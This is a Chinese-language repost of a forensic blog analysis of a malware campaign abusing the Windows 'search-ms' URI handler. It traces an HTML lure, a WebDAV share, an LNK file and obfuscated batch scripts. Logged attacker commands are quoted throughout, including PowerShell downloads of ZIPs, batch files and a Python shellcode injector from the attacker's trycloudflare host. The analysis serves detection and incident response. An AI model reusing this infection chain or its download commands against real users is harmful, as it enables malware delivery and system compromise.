介绍
上个月,我偶然发现了 Trustwave 的一篇博客文章,标题为“搜索与欺骗:滥用 Windows 搜索重定向至恶意软件”。
图 1:搜索和欺骗:滥用 Windows Search 重定向至恶意软件(来源:Trustwave)
Trustwave SpiderLabs 检测到了一项复杂的恶意软件活动,该活动利用嵌入在 HTML 代码中的 Windows 搜索功能来部署恶意软件。我们发现威胁行为者利用了对系统漏洞和用户行为的复杂理解。来源:Trustwave:
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/search-spoof-abuse-of-windows-search-to-redirect-to-malware/
Trustwave 查看了以下样本:
https://www.virustotal.com/gui/file/d136dcfc355885c502ff2c3be229791538541b748b6c07df3ced95f9a7eb2f30
但在博客文章中,他们写道:在我们分析时,由于服务器似乎已关闭,因此无法检索有效载荷(BAT)。
图 2:搜索和欺骗:滥用 Windows Search 重定向至恶意软件(来源:Trustwave)
在 VirusTotal 上进行一番挖掘后,我发现了一个服务器仍处于在线状态的样本:
https://www.virustotal.com/gui/file/16a4de0540181bab7c5d25fcdf90838a28f2dff4ed9e0e37de3f5f1ab20afe0a
在分析时,在下面的博客文章中,我们将分析 HTML 代码、检查感染链并确定留下了哪些取证痕迹。
图 3:VirusTotal 上的 Booking_Confirmation.html
WebDav 请求
对于这种攻击,只需要向用户发送一个 HTML 文件,例如可以通过电子邮件发送(ZIP 文件)。打开 HTML 文件时,用户会看到一个弹出窗口“打开 Windows 资源管理器?”。用户不需要点击 HTML 文件中的链接,如下所示,但加载 HTML 文件时会自动打开弹出窗口。我们已经看到了对所用协议的引用,“file:// 想要打开此应用程序”。用户现在可以打开 Windows 资源管理器或取消该过程。
图 4:我们的分析主机上的 Booking_Confirmation.html
以下是文件“Booking_Confirmation.html”的 HTML 源代码:
图5:Booking_Confirmation.html的HTML源代码
如图 5 所示,“search-ms”URI 协议处理程序用于在远程服务器上搜索术语“e_Statement”。搜索结果在 Windows 资源管理器中显示给用户(图 6)。显示名称(“Downloads”)可以自由选择,目的是欺骗用户(参见图 5 查看 displayname 参数)。
图 6:Windows 资源管理器中的搜索结果
当用户打开这个 HTML 文件时,底层发生了什么?
Sysmon 进程创建
CommandLine:
rundll32.exe C:Windowssystem32davclnt.dll,DavSetCookie
float-suppose-msg-pulling.trycloudflare.com@SSL https://float-suppose-msg-pulling.trycloudflare.com/
ParentCommandLine:
C:Windowssystem32svchost.exe -k LocalService -p -s WebClient
rundll32.exe 运行 davclnt.dll,它与 Windows 中的 WebDAV(Web 分布式创作和版本控制)客户端相关,允许用户管理 Web 服务器或 Web 共享上的文件。从监控和威胁搜寻的角度来看,这很有趣。但是,在防火墙上阻止端口 445/TCP 上的传出 SMB 流量不会阻止此攻击,因为 WebDav 使用的是 HTTP,正如Trellix 的文章中很好地概述的那样。
在附加阶段的这个阶段,用户点击“打开 Windows 资源管理器”,与外部服务器建立 WebDAV 连接,并向用户显示“搜索结果”,如图 6 所示。返回的文件是一个 LNK 文件,这是一个快捷方式文件,执行后将运行另一个命令。
e_Statement00844301.lnk
查看 LNK 文件的属性(此处为示例:https://www.virustotal.com/gui/file/8bbdd3b41a03b86f246564a23e9acd48f74428f372c4bfb0a9a3af42511661c7/content),我们看到conhost.exe –headless 之类的东西,这看起来很可疑:
图 7:LNK 文件的属性
双击 Windows 资源管理器窗口中显示的 LNK 文件时,安全警告会最后一次询问用户是否确定要打开此文件:
图 8:LNK 文件的安全警告
当用户同意运行该文件时,将执行以下命令:
C:WindowsSystem32conhost.exe
--headless \[email protected]
新建脚本
LNK 文件将下载并执行名为“new.bat”的批处理脚本(示例:https://www.virustotal.com/gui/file/441c4502584240624f4af6d67eded476c781ff0b72afe95ea236cc87a50e5650/community)
CommandLine:
C:Windowssystem32cmd.exe /c
\[email protected]
ParentCommandLine:
"C:WindowsSystem32conhost.exe" --headless
\[email protected]
文件“new.bat”被混淆了(图 9);然而,来自 OneConsult 的同事发表了一篇关于这种批量混淆技术的精彩博客文章:。
图 9:批量混淆
正如 OneConsult 博客中所述,我们可以在批处理文件的每一行之前放置一个 echo 语句以获得可读的代码:
图 10:在每一行之前放置 echo 语句
诱饵文件
用户点击LNK文件后,会打开一个PDF文件进行欺骗,并从之前相同的位置进行检索。
图11:诱饵文档
CommandLine:
"C:Program FilesGoogleChromeApplicationchrome.exe" --single-argument
https://float-suppose-msg-pulling.trycloudflare.com/kyvbsa.pdf
ParentCommandLine:
C:Windowssystem32cmd.exe /c
\[email protected]
在批处理文件中,在完整感染程序启动之前会有短暂的超时。
CommandLine:
timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
ParentCommandLine:
C:Windowssystem32cmd.exe /c
\[email protected]
还有更多
浏览float-suppose-msg-pulling.trycloudflare.com服务器,除了诱饵 PDF 文件和 new.bat 文件外,攻击者还上传了各种其他文件:
图 12:目录列表
加载附加脚本和工具
“new.bat”文件还负责将 ZIP 文件(DXJS.zip)下载到本地客户端:
powershell -Command
"& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
Invoke-WebRequest -Uri 'https://float-suppose-msg-pulling.trycloudflare.com/DXJS.zip'
-OutFile 'C:UsersmalmoebDownloadsDXJS.zip' }"
并解压缩下载的 ZIP 文件:
powershell -Command
"& { Expand-Archive -Path 'C:UsersmalmoebDownloadsDXJS.zip'
-DestinationPath 'C:UsersmalmoebDownloads' -Force }"
以及下载另一个名为“startuppp.bat”的混淆批处理文件:
Sysmon 进程创建
CommandLine:
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://float-suppose-msg-pulling.trycloudflare.com/startuppp.bat' -OutFile 'C:UsersmalmoebDownloadsstartuppp.bat' }"
ParentCommandLine:
C:Windowssystem32cmd.exe /c \[email protected]
Sysmon 文件创建
Image: C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
TargetFilename: C:UsersmalmoebDownloadsstartuppp.bat
我们可以使用与之前相同的反混淆技术来查看批处理文件中的确切命令。
功能齐全的 Python 解释器
感染链(确切地说是 new.bat 文件)下载完整的 Python 解释器和“FTSP.zip”存档中包含的各种其他 Python 脚本。
powershell -Command
"& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
Invoke-WebRequest -Uri 'https://float-suppose-msg-pulling.trycloudflare.com/FTSP.zip'
-OutFile 'C:UsersmalmoebDownloadsFTSP.zip' }"
CurrentDirectory: C:UsersmalmoebDownloadsPythonPython312
Shellcode注入
在“打印”文件夹设置隐藏属性后..
attrib +h "C:UsersmalmoebDownloadsPrint"
.. 执行各种 Python 文件。以下是一个经过混淆的示例。我们将在即将发布的博客文章中分析这些文件,但 Python 代码会将 shellcode 注入进程,从而用恶意软件感染客户端。
图 13:Python Shellcode
痕迹
注册表项 WordWheelQuery 是 Windows 操作系统的一个组成部分,用于存储用户通过 Windows 搜索功能进行的搜索查询的历史记录。此注册表项位于路径HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerWordWheelQuery下,包含先前输入的搜索词列表,允许 Windows 提供自动完成建议并快速访问常用搜索。
图 14:WordWheelQuery
此注册表项内的值是十六进制编码的,但通过 CyberChef 的搜索和替换,以及从十六进制到 ASCII,我们得到了搜索词和服务器目标:)
图 15:CyberChef 食谱
结论
滥用“search-ms”URI 协议处理程序代表了一种利用 Windows 搜索功能部署恶意软件的复杂方法。如本分析所示,攻击者可以制作 HTML 文件,自动提示用户打开 Windows 资源管理器,从而执行恶意脚本并进一步破坏系统。
通过利用 WebDAV 和混淆的批处理文件等协议,威胁行为者可以有效绕过传统安全措施并在目标机器上立足。
注册表项 WordWheelQuery 可以作为追踪搜索查询和识别可疑活动的宝贵资料。
https://dfir.ch/posts/search-ms_protocol_handler/#
原文始发于微信公众号(Ots安全):滥用Windows “Search-ms” URI 协议处理程序
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论